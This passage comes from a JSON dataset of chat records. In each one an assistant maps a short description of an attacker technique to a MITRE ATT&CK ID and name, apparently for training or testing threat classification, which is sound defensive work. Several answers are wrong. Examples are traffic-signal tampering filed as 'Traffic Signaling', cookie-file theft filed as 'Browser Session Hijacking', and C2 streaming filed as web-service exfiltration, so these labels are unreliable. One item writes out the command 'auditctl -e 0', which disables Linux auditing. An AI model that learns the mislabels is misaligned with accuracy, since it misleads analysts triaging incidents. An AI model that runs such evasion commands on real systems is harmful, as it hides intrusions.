                "content": "Malicious code queries the host's performance counters and sleeps until a specific timestamp is reached, bypassing analysis environments that have limited runtime."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs DirBuster with a common wordlist to enumerate hidden directories on the target web server."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .bat file is placed in the Netlogon share and added to the default logon script, causing it to run with system privileges each time a user authenticates."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat embeds its beacon inside legitimate DNS over HTTPS (DoH) traffic, effectively tunneling its communications."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers reused a previously obtained AWS access key ID and secret access key to launch instances."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape the victim's recent file history from the 'Recent' shortcuts folder."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors collect information from the victim’s press releases and leadership pages to identify senior executives and department heads with access to strategic resources."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a bulk SNMP query to extract firmware version details from the target devices."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group seized control of a compromised SaaS service to host malicious payloads for further infection."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a batch script that iterates over 'net config workstation' output to infer domain trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a network sniffer to replay captured HTTP requests and hijack active web sessions."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant reads the BIOS vendor string for indicators such as \"QEMU\" or \"VMware\" to avoid analysis environments."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending HTTP requests to the OpenStack metadata service, the intruder harvests user credentials and tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use the cloud provider's rollback feature to restore a tampered Amazon EC2 instance to its original configuration, effectively erasing their implants."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses Shodan to discover which services are exposed on the companion's IP range."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates an encrypted payload using AES and tunnels it through a legitimate DNS query to a remote server, avoiding standard C2 channels."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers acquire an exploit for a known authentication bypass in a cloud service API to develop capabilities for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By executing an SNMP MIB dump, the attacker gathers system configuration details for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured Telnet service to take over an active session and run commands."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts password hashes by dumping the Security Account Manager (SAM) hive from the Windows registry."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit unsecured Wi‑Fi at a smart city hub to alter traffic signal patterns, creating gridlock at key intersections."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin privileges, the malicious code called a system API to wipe the entire disk contents."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a backdoored SSP DLL that runs with SYSTEM privileges on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compressed log files and uploaded them via a legitimate cloud storage API used for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a self‑signed root CA to the macOS System keychain, allowing them to issue trusted SSL certificates for phishing sites."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code sends data embedded in DHCP option fields to a malicious DHCP server for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised admin adjusts the Restricted Groups GPO to include the attacker’s account as a domain admin."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain compromise, the threat actor alters package metadata in a repository database, causing downstream systems to download infected binaries."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages IFEO injection by pointing the Image File Execution Options debugger for the Windows Explorer process to a malicious executable, achieving persistence and execution on shell start."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module reads the cached credentials stored in the Windows Credential Store to harvest domain user hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan abuses a remote code execution flaw in the Windows Media Player ActiveX control, executing payload when the user plays a media file."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary removes all email artifacts from the user’s mailbox after installing a credential stealer."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing a TCP hijack on port 22, the adversary injects a forged SSH packet to assume control of an existing encrypted session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a distributed denial-of-service (DDoS) attack to overwhelm a system with traffic from multiple sources, rendering it unavailable to users."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator runs a traceroute from compromised hosts to chart the routing paths and identify network segments."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulated a breach by changing the operating system image of Azure VMs to a compromised custom image."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious PowerShell script to locate and copy Chrome's 'Cookies' file."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware renamed the legitimate svchost.exe binary to a random name and used the original name for a malicious payload to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a spoofed telephone number to impersonate a senior executive, requesting a wire transfer from the finance department."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors copied the exact name \"chrome.dll\" and stored a trojanized version in a hidden subdirectory under %AppData%, mimicking the legitimate Chrome DLL."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses Mavinject to target the Windows Update service (wuauclt.exe), inserting malicious code via the T1218.013 proxy execution method."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set used the iCloud Drive API to silently upload harvested files from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script monitors for new removable devices and transfers captured keystrokes to them automatically."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the HTTP Host header to point to a benign domain while the underlying request is sent to a malicious server, implementing domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a phishing email containing a link to a credential‑phishing site that mimics the corporate login portal."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a fake software update page that appears in the first page of Google results for popular software, tricking users into downloading a trojanized installer."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script initiates continuous connection attempts to a critical service, exhausting the target's resources and causing a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages DNS enumeration techniques, such as brute‑forcing subdomains, to collect victim network details."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script contacts the container runtime's REST API without proper auth, pulling environment variable values that contain admin tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the legitimate rundll32.exe binary to proxy execution of a back‑door DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets the Windows Task Scheduler’s ability to run tasks with highest privileges without proper validation."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors clear Windows network share mappings after copying files to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes custom malicious software to be deployed later against target organizations."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a cloud-hosted web service, the adversary establishes a two-way channel to continuously exchange data with infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages compromised credentials to post fabricated vulnerability alerts in the organization’s security portal, leading teams to waste time investigating."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The botnet comprised of compromised automotive infotainment systems was used to launch network scans."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers harvest Azure AD device registration information from the Azure AD configuration repository to enumerate devices and their associated keys."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the icacls utility to grant full control to the Everyone group on a sensitive system directory, allowing subsequent malicious binaries to be executed."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email is crafted for a HR employee, embedding a link to a malicious survey that harvests personal data and installs keylogging software upon interaction."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the 'auditctl -e 0' command to suspend the Linux audit system and hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is dropped into a path like C:\\Program Files\\My App\\malicious.exe, and because the path is unquoted, the system executes the malicious file before the intended program."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates Windows registry keys to discover installed antivirus software."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script automates the registration of multiple devices to a victim’s Microsoft account for credential theft."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a known CVE in the Apache Struts framework on a public-facing portal to perform arbitrary code execution."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit triggers a system call that reads all entries in Windows Credential Manager for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using reflective code loading, the attacker injects a malicious module into a legitimate service process, enabling stealthy execution."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the authentication policy of a network device to allow passwordless login for a specific IP address range."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign distributes a .lnk file that appears as a system update shortcut, complete with a Windows logo icon, to execute a ransomware payload when opened."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a PDF file that exploits a viewer vulnerability and runs code when the victim opens it."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates the dumping of password hashes from the ntpasswd file on Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious file is disguised as 'readme.txt.bat' to appear as a harmless text file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages systemd's Persistent=true option in a timer to run a payload after a reboot, bypassing traditional startup scripts."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware opens a named pipe with a predictable name used by a security tool, writes malicious commands into the pipe, and the tool unwittingly executes them."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tampering with API responses on the fly to alter data returned to a client application."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses a legitimate software update mechanism to push a backdoor installer onto endpoints within the organization."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses a WebSocket connection to stream stolen data to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
